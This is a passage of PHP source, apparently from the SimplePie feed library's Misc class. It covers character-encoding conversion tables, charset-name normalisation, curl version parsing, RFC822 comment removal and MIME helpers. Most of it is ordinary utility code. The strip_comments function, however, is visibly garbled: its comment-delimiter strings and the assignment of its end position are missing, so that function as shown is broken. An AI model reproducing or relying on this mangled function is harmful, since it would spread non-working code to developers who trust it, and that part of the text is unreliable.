"\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"]; return strtr($string, $convert_table); } /** * Change a string from one encoding to another * * @param string $data Raw data in $input encoding * @param string $input Encoding of $data * @param string $output Encoding you want * @return string|boolean False if we can't convert it */ public static function change_encoding($data, $input, $output) { $input = Misc::encoding($input); $output = Misc::encoding($output); // We fail to fail on non US-ASCII bytes if ($input === 'US-ASCII') { static $non_ascii_octects = ''; if (!$non_ascii_octects) { for ($i = 0x80; $i <= 0xFF; $i++) { $non_ascii_octects .= chr($i); } } $data = substr($data, 0, strcspn($data, $non_ascii_octects)); } // This is first, as behaviour of this is completely predictable if ($input === 'windows-1252' && $output === 'UTF-8') { return Misc::windows_1252_to_utf8($data); } // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported). elseif (function_exists('mb_convert_encoding') && ($return = Misc::change_encoding_mbstring($data, $input, $output))) { return $return; } // This is third, as behaviour of this varies with OS userland and PHP version elseif (function_exists('iconv') && ($return = Misc::change_encoding_iconv($data, $input, $output))) { return $return; } // This is last, as behaviour of this varies with OS userland and PHP version elseif (class_exists('\UConverter') && ($return = Misc::change_encoding_uconverter($data, $input, $output))) { return $return; } // If we can't do anything, just fail return false; } protected static function change_encoding_mbstring($data, $input, $output) { if ($input === 'windows-949') { $input = 'EUC-KR'; } if ($output === 'windows-949') { $output = 'EUC-KR'; } if ($input === 'Windows-31J') { $input = 'SJIS'; } if ($output === 'Windows-31J') { $output = 'SJIS'; } // Check that the encoding is supported if (!in_array($input, mb_list_encodings())) { return false; } if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80") { return false; } // Let's do some conversion if ($return = @mb_convert_encoding($data, $output, $input)) { return $return; } return false; } protected static function change_encoding_iconv($data, $input, $output) { return @iconv($input, $output, $data); } /** * @param string $data * @param string $input * @param string $output * @return string|false */ protected static function change_encoding_uconverter($data, $input, $output) { return @\UConverter::transcode($data, $output, $input); } /** * Normalize an encoding name * * This is automatically generated by create.php * * To generate it, run `php create.php` on the command line, and copy the * output to replace this function. * * @param string $charset Character set to standardise * @return string Standardised name */ public static function encoding($charset) { // Normalization from UTS #22 switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) { case 'adobestandardencoding': case 'csadobestandardencoding': return 'Adobe-Standard-Encoding'; case 'adobesymbolencoding': case 'cshppsmath': return 'Adobe-Symbol-Encoding'; case 'ami1251': case 'amiga1251': return 'Amiga-1251'; case 'ansix31101983': case 'csat5001983': case 'csiso99naplps': case 'isoir99': case 'naplps': return 'ANSI_X3.110-1983'; case 'arabic7': case 'asmo449': case 'csiso89asmo449': case 'iso9036': case 'isoir89': return 'ASMO_449'; case 'big5': case 'csbig5': return 'Big5'; case 'big5hkscs': return 'Big5-HKSCS'; case 'bocu1': case 'csbocu1': return 'BOCU-1'; case 'brf': case 'csbrf': return 'BRF'; case 'bs4730': case 'csiso4unitedkingdom': case 'gb': case 'iso646gb': case 'isoir4': case 'uk': return 'BS_4730'; case 'bsviewdata': case 'csiso47bsviewdata': case 'isoir47': return 'BS_viewdata'; case 'cesu8': case 'cscesu8': return 'CESU-8'; case 'ca': case 'csa71': case 'csaz243419851': case 'csiso121canadian1': case 'iso646ca': case 'isoir121': return 'CSA_Z243.4-1985-1'; case 'csa72': case 'csaz243419852': case 'csiso122canadian2': case 'iso646ca2': case 'isoir122': return 'CSA_Z243.4-1985-2'; case 'csaz24341985gr': case 'csiso123csaz24341985gr': case 'isoir123': return 'CSA_Z243.4-1985-gr'; case 'csiso139csn369103': case 'csn369103': case 'isoir139': return 'CSN_369103'; case 'csdecmcs': case 'dec': case 'decmcs': return 'DEC-MCS'; case 'csiso21german': case 'de': case 'din66003': case 'iso646de': case 'isoir21': return 'DIN_66003'; case 'csdkus': case 'dkus': return 'dk-us'; case 'csiso646danish': case 'dk': case 'ds2089': case 'iso646dk': return 'DS_2089'; case 'csibmebcdicatde': case 'ebcdicatde': return 'EBCDIC-AT-DE'; case 'csebcdicatdea': case 'ebcdicatdea': return 'EBCDIC-AT-DE-A'; case 'csebcdiccafr': case 'ebcdiccafr': return 'EBCDIC-CA-FR'; case 'csebcdicdkno': case 'ebcdicdkno': return 'EBCDIC-DK-NO'; case 'csebcdicdknoa': case 'ebcdicdknoa': return 'EBCDIC-DK-NO-A'; case 'csebcdices': case 'ebcdices': return 'EBCDIC-ES'; case 'csebcdicesa': case 'ebcdicesa': return 'EBCDIC-ES-A'; case 'csebcdicess': case 'ebcdicess': return 'EBCDIC-ES-S'; case 'csebcdicfise': case 'ebcdicfise': return 'EBCDIC-FI-SE'; case 'csebcdicfisea': case 'ebcdicfisea': return 'EBCDIC-FI-SE-A'; case 'csebcdicfr': case 'ebcdicfr': return 'EBCDIC-FR'; case 'csebcdicit': case 'ebcdicit': return 'EBCDIC-IT'; case 'csebcdicpt': case 'ebcdicpt': return 'EBCDIC-PT'; case 'csebcdicuk': case 'ebcdicuk': return 'EBCDIC-UK'; case 'csebcdicus': case 'ebcdicus': return 'EBCDIC-US'; case 'csiso111ecmacyrillic': case 'ecmacyrillic': case 'isoir111': case 'koi8e': return 'ECMA-cyrillic'; case 'csiso17spanish': case 'es': case 'iso646es': case 'isoir17': return 'ES'; case 'csiso85spanish2': case 'es2': case 'iso646es2': case 'isoir85': return 'ES2'; case 'cseucpkdfmtjapanese': case 'eucjp': case 'extendedunixcodepackedformatforjapanese': return 'EUC-JP'; case 'cseucfixwidjapanese': case 'extendedunixcodefixedwidthforjapanese': return 'Extended_UNIX_Code_Fixed_Width_for_Japanese'; case 'gb18030': return 'GB18030'; case 'chinese': case 'cp936': case 'csgb2312': case 'csiso58gb231280': case 'gb2312': case 'gb231280': case 'gbk': case 'isoir58': case 'ms936': case 'windows936': return 'GBK'; case 'cn': case 'csiso57gb1988': case 'gb198880': case 'iso646cn': case 'isoir57': return 'GB_1988-80'; case 'csiso153gost1976874': case 'gost1976874': case 'isoir153': case 'stsev35888': return 'GOST_19768-74'; case 'csiso150': case 'csiso150greekccitt': case 'greekccitt': case 'isoir150': return 'greek-ccitt'; case 'csiso88greek7': case 'greek7': case 'isoir88': return 'greek7'; case 'csiso18greek7old': case 'greek7old': case 'isoir18': return 'greek7-old'; case 'cshpdesktop': case 'hpdesktop': return 'HP-DeskTop'; case 'cshplegal': case 'hplegal': return 'HP-Legal'; case 'cshpmath8': case 'hpmath8': return 'HP-Math8'; case 'cshppifont': case 'hppifont': return 'HP-Pi-font'; case 'cshproman8': case 'hproman8': case 'r8': case 'roman8': return 'hp-roman8'; case 'hzgb2312': return 'HZ-GB-2312'; case 'csibmsymbols': case 'ibmsymbols': return 'IBM-Symbols'; case 'csibmthai': case 'ibmthai': return 'IBM-Thai'; case 'cp37': case 'csibm37': case 'ebcdiccpca': case 'ebcdiccpnl': case 'ebcdiccpus': case 'ebcdiccpwt': case 'ibm37': return 'IBM037'; case 'cp38': case 'csibm38': case 'ebcdicint': case 'ibm38': return 'IBM038'; case 'cp273': case 'csibm273': case 'ibm273': return 'IBM273'; case 'cp274': case 'csibm274': case 'ebcdicbe': case 'ibm274': return 'IBM274'; case 'cp275': case 'csibm275': case 'ebcdicbr': case 'ibm275': return 'IBM275'; case 'csibm277': case 'ebcdiccpdk': case 'ebcdiccpno': case 'ibm277': return 'IBM277'; case 'cp278': case 'csibm278': case 'ebcdiccpfi': case 'ebcdiccpse': case 'ibm278': return 'IBM278'; case 'cp280': case 'csibm280': case 'ebcdiccpit': case 'ibm280': return 'IBM280'; case 'cp281': case 'csibm281': case 'ebcdicjpe': case 'ibm281': return 'IBM281'; case 'cp284': case 'csibm284': case 'ebcdiccpes': case 'ibm284': return 'IBM284'; case 'cp285': case 'csibm285': case 'ebcdiccpgb': case 'ibm285': return 'IBM285'; case 'cp290': case 'csibm290': case 'ebcdicjpkana': case 'ibm290': return 'IBM290'; case 'cp297': case 'csibm297': case 'ebcdiccpfr': case 'ibm297': return 'IBM297'; case 'cp420': case 'csibm420': case 'ebcdiccpar1': case 'ibm420': return 'IBM420'; case 'cp423': case 'csibm423': case 'ebcdiccpgr': case 'ibm423': return 'IBM423'; case 'cp424': case 'csibm424': case 'ebcdiccphe': case 'ibm424': return 'IBM424'; case '437': case 'cp437': case 'cspc8codepage437': case 'ibm437': return 'IBM437'; case 'cp500': case 'csibm500': case 'ebcdiccpbe': case 'ebcdiccpch': case 'ibm500': return 'IBM500'; case 'cp775': case 'cspc775baltic': case 'ibm775': return 'IBM775'; case '850': case 'cp850': case 'cspc850multilingual': case 'ibm850': return 'IBM850'; case '851': case 'cp851': case 'csibm851': case 'ibm851': return 'IBM851'; case '852': case 'cp852': case 'cspcp852': case 'ibm852': return 'IBM852'; case '855': case 'cp855': case 'csibm855': case 'ibm855': return 'IBM855'; case '857': case 'cp857': case 'csibm857': case 'ibm857': return 'IBM857'; case 'ccsid858': case 'cp858': case 'ibm858': case 'pcmultilingual850euro': return 'IBM00858'; case '860': case 'cp860': case 'csibm860': case 'ibm860': return 'IBM860'; case '861': case 'cp861': case 'cpis': case 'csibm861': case 'ibm861': return 'IBM861'; case '862': case 'cp862': case 'cspc862latinhebrew': case 'ibm862': return 'IBM862'; case '863': case 'cp863': case 'csibm863': case 'ibm863': return 'IBM863'; case 'cp864': case 'csibm864': case 'ibm864': return 'IBM864'; case '865': case 'cp865': case 'csibm865': case 'ibm865': return 'IBM865'; case '866': case 'cp866': case 'csibm866': case 'ibm866': return 'IBM866'; case 'cp868': case 'cpar': case 'csibm868': case 'ibm868': return 'IBM868'; case '869': case 'cp869': case 'cpgr': case 'csibm869': case 'ibm869': return 'IBM869'; case 'cp870': case 'csibm870': case 'ebcdiccproece': case 'ebcdiccpyu': case 'ibm870': return 'IBM870'; case 'cp871': case 'csibm871': case 'ebcdiccpis': case 'ibm871': return 'IBM871'; case 'cp880': case 'csibm880': case 'ebcdiccyrillic': case 'ibm880': return 'IBM880'; case 'cp891': case 'csibm891': case 'ibm891': return 'IBM891'; case 'cp903': case 'csibm903': case 'ibm903': return 'IBM903'; case '904': case 'cp904': case 'csibbm904': case 'ibm904': return 'IBM904'; case 'cp905': case 'csibm905': case 'ebcdiccptr': case 'ibm905': return 'IBM905'; case 'cp918': case 'csibm918': case 'ebcdiccpar2': case 'ibm918': return 'IBM918'; case 'ccsid924': case 'cp924': case 'ebcdiclatin9euro': case 'ibm924': return 'IBM00924'; case 'cp1026': case 'csibm1026': case 'ibm1026': return 'IBM1026'; case 'ibm1047': return 'IBM1047'; case 'ccsid1140': case 'cp1140': case 'ebcdicus37euro': case 'ibm1140': return 'IBM01140'; case 'ccsid1141': case 'cp1141': case 'ebcdicde273euro': case 'ibm1141': return 'IBM01141'; case 'ccsid1142': case 'cp1142': case 'ebcdicdk277euro': case 'ebcdicno277euro': case 'ibm1142': return 'IBM01142'; case 'ccsid1143': case 'cp1143': case 'ebcdicfi278euro': case 'ebcdicse278euro': case 'ibm1143': return 'IBM01143'; case 'ccsid1144': case 'cp1144': case 'ebcdicit280euro': case 'ibm1144': return 'IBM01144'; case 'ccsid1145': case 'cp1145': case 'ebcdices284euro': case 'ibm1145': return 'IBM01145'; case 'ccsid1146': case 'cp1146': case 'ebcdicgb285euro': case 'ibm1146': return 'IBM01146'; case 'ccsid1147': case 'cp1147': case 'ebcdicfr297euro': case 'ibm1147': return 'IBM01147'; case 'ccsid1148': case 'cp1148': case 'ebcdicinternational500euro': case 'ibm1148': return 'IBM01148'; case 'ccsid1149': case 'cp1149': case 'ebcdicis871euro': case 'ibm1149': return 'IBM01149'; case 'csiso143iecp271': case 'iecp271': case 'isoir143': return 'IEC_P27-1'; case 'csiso49inis': case 'inis': case 'isoir49': return 'INIS'; case 'csiso50inis8': case 'inis8': case 'isoir50': return 'INIS-8'; case 'csiso51iniscyrillic': case 'iniscyrillic': case 'isoir51': return 'INIS-cyrillic'; case 'csinvariant': case 'invariant': return 'INVARIANT'; case 'iso2022cn': return 'ISO-2022-CN'; case 'iso2022cnext': return 'ISO-2022-CN-EXT'; case 'csiso2022jp': case 'iso2022jp': return 'ISO-2022-JP'; case 'csiso2022jp2': case 'iso2022jp2': return 'ISO-2022-JP-2'; case 'csiso2022kr': case 'iso2022kr': return 'ISO-2022-KR'; case 'cswindows30latin1': case 'iso88591windows30latin1': return 'ISO-8859-1-Windows-3.0-Latin-1'; case 'cswindows31latin1': case 'iso88591windows31latin1': return 'ISO-8859-1-Windows-3.1-Latin-1'; case 'csisolatin2': case 'iso88592': case 'iso885921987': case 'isoir101': case 'l2': case 'latin2': return 'ISO-8859-2'; case 'cswindows31latin2': case 'iso88592windowslatin2': return 'ISO-8859-2-Windows-Latin-2'; case 'csisolatin3': case 'iso88593': case 'iso885931988': case 'isoir109': case 'l3': case 'latin3': return 'ISO-8859-3'; case 'csisolatin4': case 'iso88594': case 'iso885941988': case 'isoir110': case 'l4': case 'latin4': return 'ISO-8859-4'; case 'csisolatincyrillic': case 'cyrillic': case 'iso88595': case 'iso885951988': case 'isoir144': return 'ISO-8859-5'; case 'arabic': case 'asmo708': case 'csisolatinarabic': case 'ecma114': case 'iso88596': case 'iso885961987': case 'isoir127': return 'ISO-8859-6'; case 'csiso88596e': case 'iso88596e': return 'ISO-8859-6-E'; case 'csiso88596i': case 'iso88596i': return 'ISO-8859-6-I'; case 'csisolatingreek': case 'ecma118': case 'elot928': case 'greek': case 'greek8': case 'iso88597': case 'iso885971987': case 'isoir126': return 'ISO-8859-7'; case 'csisolatinhebrew': case 'hebrew': case 'iso88598': case 'iso885981988': case 'isoir138': return 'ISO-8859-8'; case 'csiso88598e': case 'iso88598e': return 'ISO-8859-8-E'; case 'csiso88598i': case 'iso88598i': return 'ISO-8859-8-I'; case 'cswindows31latin5': case 'iso88599windowslatin5': return 'ISO-8859-9-Windows-Latin-5'; case 'csisolatin6': case 'iso885910': case 'iso8859101992': case 'isoir157': case 'l6': case 'latin6': return 'ISO-8859-10'; case 'iso885913': return 'ISO-8859-13'; case 'iso885914': case 'iso8859141998': case 'isoceltic': case 'isoir199': case 'l8': case 'latin8': return 'ISO-8859-14'; case 'iso885915': case 'latin9': return 'ISO-8859-15'; case 'iso885916': case 'iso8859162001': case 'isoir226': case 'l10': case 'latin10': return 'ISO-8859-16'; case 'iso10646j1': return 'ISO-10646-J-1'; case 'csunicode': case 'iso10646ucs2': return 'ISO-10646-UCS-2'; case 'csucs4': case 'iso10646ucs4': return 'ISO-10646-UCS-4'; case 'csunicodeascii': case 'iso10646ucsbasic': return 'ISO-10646-UCS-Basic'; case 'csunicodelatin1': case 'iso10646': case 'iso10646unicodelatin1': return 'ISO-10646-Unicode-Latin1'; case 'csiso10646utf1': case 'iso10646utf1': return 'ISO-10646-UTF-1'; case 'csiso115481': case 'iso115481': case 'isotr115481': return 'ISO-11548-1'; case 'csiso90': case 'isoir90': return 'iso-ir-90'; case 'csunicodeibm1261': case 'isounicodeibm1261': return 'ISO-Unicode-IBM-1261'; case 'csunicodeibm1264': case 'isounicodeibm1264': return 'ISO-Unicode-IBM-1264'; case 'csunicodeibm1265': case 'isounicodeibm1265': return 'ISO-Unicode-IBM-1265'; case 'csunicodeibm1268': case 'isounicodeibm1268': return 'ISO-Unicode-IBM-1268'; case 'csunicodeibm1276': case 'isounicodeibm1276': return 'ISO-Unicode-IBM-1276'; case 'csiso646basic1983': case 'iso646basic1983': case 'ref': return 'ISO_646.basic:1983'; case 'csiso2intlrefversion': case 'irv': case 'iso646irv1983': case 'isoir2': return 'ISO_646.irv:1983'; case 'csiso2033': case 'e13b': case 'iso20331983': case 'isoir98': return 'ISO_2033-1983'; case 'csiso5427cyrillic': case 'iso5427': case 'isoir37': return 'ISO_5427'; case 'iso5427cyrillic1981': case 'iso54271981': case 'isoir54': return 'ISO_5427:1981'; case 'csiso5428greek': case 'iso54281980': case 'isoir55': return 'ISO_5428:1980'; case 'csiso6937add': case 'iso6937225': case 'isoir152': return 'ISO_6937-2-25'; case 'csisotextcomm': case 'iso69372add': case 'isoir142': return 'ISO_6937-2-add'; case 'csiso8859supp': case 'iso8859supp': case 'isoir154': case 'latin125': return 'ISO_8859-supp'; case 'csiso10367box': case 'iso10367box': case 'isoir155': return 'ISO_10367-box'; case 'csiso15italian': case 'iso646it': case 'isoir15': case 'it': return 'IT'; case 'csiso13jisc6220jp': case 'isoir13': case 'jisc62201969': case 'jisc62201969jp': case 'katakana': case 'x2017': return 'JIS_C6220-1969-jp'; case 'csiso14jisc6220ro': case 'iso646jp': case 'isoir14': case 'jisc62201969ro': case 'jp': return 'JIS_C6220-1969-ro'; case 'csiso42jisc62261978': case 'isoir42': case 'jisc62261978': return 'JIS_C6226-1978'; case 'csiso87jisx208': case 'isoir87': case 'jisc62261983': case 'jisx2081983': case 'x208': return 'JIS_C6226-1983'; case 'csiso91jisc62291984a': case 'isoir91': case 'jisc62291984a': case 'jpocra': return 'JIS_C6229-1984-a'; case 'csiso92jisc62991984b': case 'iso646jpocrb': case 'isoir92': case 'jisc62291984b': case 'jpocrb': return 'JIS_C6229-1984-b'; case 'csiso93jis62291984badd': case 'isoir93': case 'jisc62291984badd': case 'jpocrbadd': return 'JIS_C6229-1984-b-add'; case 'csiso94jis62291984hand': case 'isoir94': case 'jisc62291984hand': case 'jpocrhand': return 'JIS_C6229-1984-hand'; case 'csiso95jis62291984handadd': case 'isoir95': case 'jisc62291984handadd': case 'jpocrhandadd': return 'JIS_C6229-1984-hand-add'; case 'csiso96jisc62291984kana': case 'isoir96': case 'jisc62291984kana': return 'JIS_C6229-1984-kana'; case 'csjisencoding': case 'jisencoding': return 'JIS_Encoding'; case 'cshalfwidthkatakana': case 'jisx201': case 'x201': return 'JIS_X0201'; case 'csiso159jisx2121990': case 'isoir159': case 'jisx2121990': case 'x212': return 'JIS_X0212-1990'; case 'csiso141jusib1002': case 'iso646yu': case 'isoir141': case 'js': case 'jusib1002': case 'yu': return 'JUS_I.B1.002'; case 'csiso147macedonian': case 'isoir147': case 'jusib1003mac': case 'macedonian': return 'JUS_I.B1.003-mac'; case 'csiso146serbian': case 'isoir146': case 'jusib1003serb': case 'serbian': return 'JUS_I.B1.003-serb'; case 'koi7switched': return 'KOI7-switched'; case 'cskoi8r': case 'koi8r': return 'KOI8-R'; case 'koi8u': return 'KOI8-U'; case 'csksc5636': case 'iso646kr': case 'ksc5636': return 'KSC5636'; case 'cskz1048': case 'kz1048': case 'rk1048': case 'strk10482002': return 'KZ-1048'; case 'csiso19latingreek': case 'isoir19': case 'latingreek': return 'latin-greek'; case 'csiso27latingreek1': case 'isoir27': case 'latingreek1': return 'Latin-greek-1'; case 'csiso158lap': case 'isoir158': case 'lap': case 'latinlap': return 'latin-lap'; case 'csmacintosh': case 'mac': case 'macintosh': return 'macintosh'; case 'csmicrosoftpublishing': case 'microsoftpublishing': return 'Microsoft-Publishing'; case 'csmnem': case 'mnem': return 'MNEM'; case 'csmnemonic': case 'mnemonic': return 'MNEMONIC'; case 'csiso86hungarian': case 'hu': case 'iso646hu': case 'isoir86': case 'msz77953': return 'MSZ_7795.3'; case 'csnatsdano': case 'isoir91': case 'natsdano': return 'NATS-DANO'; case 'csnatsdanoadd': case 'isoir92': case 'natsdanoadd': return 'NATS-DANO-ADD'; case 'csnatssefi': case 'isoir81': case 'natssefi': return 'NATS-SEFI'; case 'csnatssefiadd': case 'isoir82': case 'natssefiadd': return 'NATS-SEFI-ADD'; case 'csiso151cuba': case 'cuba': case 'iso646cu': case 'isoir151': case 'ncnc1081': return 'NC_NC00-10:81'; case 'csiso69french': case 'fr': case 'iso646fr': case 'isoir69': case 'nfz62010': return 'NF_Z_62-010'; case 'csiso25french': case 'iso646fr1': case 'isoir25': case 'nfz620101973': return 'NF_Z_62-010_(1973)'; case 'csiso60danishnorwegian': case 'csiso60norwegian1': case 'iso646no': case 'isoir60': case 'no': case 'ns45511': return 'NS_4551-1'; case 'csiso61norwegian2': case 'iso646no2': case 'isoir61': case 'no2': case 'ns45512': return 'NS_4551-2'; case 'osdebcdicdf3irv': return 'OSD_EBCDIC_DF03_IRV'; case 'osdebcdicdf41': return 'OSD_EBCDIC_DF04_1'; case 'osdebcdicdf415': return 'OSD_EBCDIC_DF04_15'; case 'cspc8danishnorwegian': case 'pc8danishnorwegian': return 'PC8-Danish-Norwegian'; case 'cspc8turkish': case 'pc8turkish': return 'PC8-Turkish'; case 'csiso16portuguese': case 'iso646pt': case 'isoir16': case 'pt': return 'PT'; case 'csiso84portuguese2': case 'iso646pt2': case 'isoir84': case 'pt2': return 'PT2'; case 'cp154': case 'csptcp154': case 'cyrillicasian': case 'pt154': case 'ptcp154': return 'PTCP154'; case 'scsu': return 'SCSU'; case 'csiso10swedish': case 'fi': case 'iso646fi': case 'iso646se': case 'isoir10': case 'se': case 'sen850200b': return 'SEN_850200_B'; case 'csiso11swedishfornames': case 'iso646se2': case 'isoir11': case 'se2': case 'sen850200c': return 'SEN_850200_C'; case 'csiso102t617bit': case 'isoir102': case 't617bit': return 'T.61-7bit'; case 'csiso103t618bit': case 'isoir103': case 't61': case 't618bit': return 'T.61-8bit'; case 'csiso128t101g2': case 'isoir128': case 't101g2': return 'T.101-G2'; case 'cstscii': case 'tscii': return 'TSCII'; case 'csunicode11': case 'unicode11': return 'UNICODE-1-1'; case 'csunicode11utf7': case 'unicode11utf7': return 'UNICODE-1-1-UTF-7'; case 'csunknown8bit': case 'unknown8bit': return 'UNKNOWN-8BIT'; case 'ansix341968': case 'ansix341986': case 'ascii': case 'cp367': case 'csascii': case 'ibm367': case 'iso646irv1991': case 'iso646us': case 'isoir6': case 'us': case 'usascii': return 'US-ASCII'; case 'csusdk': case 'usdk': return 'us-dk'; case 'utf7': return 'UTF-7'; case 'utf8': return 'UTF-8'; case 'utf16': return 'UTF-16'; case 'utf16be': return 'UTF-16BE'; case 'utf16le': return 'UTF-16LE'; case 'utf32': return 'UTF-32'; case 'utf32be': return 'UTF-32BE'; case 'utf32le': return 'UTF-32LE'; case 'csventurainternational': case 'venturainternational': return 'Ventura-International'; case 'csventuramath': case 'venturamath': return 'Ventura-Math'; case 'csventuraus': case 'venturaus': return 'Ventura-US'; case 'csiso70videotexsupp1': case 'isoir70': case 'videotexsuppl': return 'videotex-suppl'; case 'csviqr': case 'viqr': return 'VIQR'; case 'csviscii': case 'viscii': return 'VISCII'; case 'csshiftjis': case 'cswindows31j': case 'mskanji': case 'shiftjis': case 'windows31j': return 'Windows-31J'; case 'iso885911': case 'tis620': return 'windows-874'; case 'cseuckr': case 'csksc56011987': case 'euckr': case 'isoir149': case 'korean': case 'ksc5601': case 'ksc56011987': case 'ksc56011989': case 'windows949': return 'windows-949'; case 'windows1250': return 'windows-1250'; case 'windows1251': return 'windows-1251'; case 'cp819': case 'csisolatin1': case 'ibm819': case 'iso88591': case 'iso885911987': case 'isoir100': case 'l1': case 'latin1': case 'windows1252': return 'windows-1252'; case 'windows1253': return 'windows-1253'; case 'csisolatin5': case 'iso88599': case 'iso885991989': case 'isoir148': case 'l5': case 'latin5': case 'windows1254': return 'windows-1254'; case 'windows1255': return 'windows-1255'; case 'windows1256': return 'windows-1256'; case 'windows1257': return 'windows-1257'; case 'windows1258': return 'windows-1258'; default: return $charset; } } public static function get_curl_version() { if (is_array($curl = curl_version())) { $curl = $curl['version']; } elseif (substr($curl, 0, 5) === 'curl/') { $curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5)); } elseif (substr($curl, 0, 8) === 'libcurl/') { $curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8)); } else { $curl = 0; } return $curl; } /** * Strip HTML comments * * @param string $data Data to strip comments from * @return string Comment stripped string */ public static function strip_comments($data) { $output = ''; while (($start = strpos($data, '', $start)) !== false) { $data = substr_replace($data, '', 0, $end + 3); } else { $data = ''; } } return $output . $data; } public static function parse_date($dt) { $parser = \SimplePie\Parse\Date::get(); return $parser->parse($dt); } /** * Decode HTML entities * * @deprecated Use DOMDocument instead * @param string $data Input data * @return string Output data */ public static function entities_decode($data) { // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.7, use "DOMDocument" instead.'), \E_USER_DEPRECATED); $decoder = new \SimplePie_Decode_HTML_Entities($data); return $decoder->parse(); } /** * Remove RFC822 comments * * @param string $data Data to strip comments from * @return string Comment stripped string */ public static function uncomment_rfc822($string) { $string = (string) $string; $position = 0; $length = strlen($string); $depth = 0; $output = ''; while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) { $output .= substr($string, $position, $pos - $position); $position = $pos + 1; if ($string[$pos - 1] !== '\\') { $depth++; while ($depth && $position < $length) { $position += strcspn($string, '()', $position); if ($string[$position - 1] === '\\') { $position++; continue; } elseif (isset($string[$position])) { switch ($string[$position]) { case '(': $depth++; break; case ')': $depth--; break; } $position++; } else { break; } } } else { $output .= '('; } } $output .= substr($string, $position); return $output; } public static function parse_mime($mime) { if (($pos = strpos($mime, ';')) === false) { return trim($mime); } return trim(substr($mime, 0, $pos)); } public static function atom_03_construct_type($attribs) { if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) === 'base64')) { $mode = \SimplePie\SimplePie::CONSTRUCT_BASE64; } else { $mode = \SimplePie\SimplePie::CONSTRUCT_NONE; } if (isset($attribs['']['type'])) { switch (strtolower(trim($attribs['']['type']))) { case 'text': case 'text/plain': return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode; case 'html': case 'text/html': return \SimplePie\SimplePie::CONSTRUCT_HTML | $mode; case 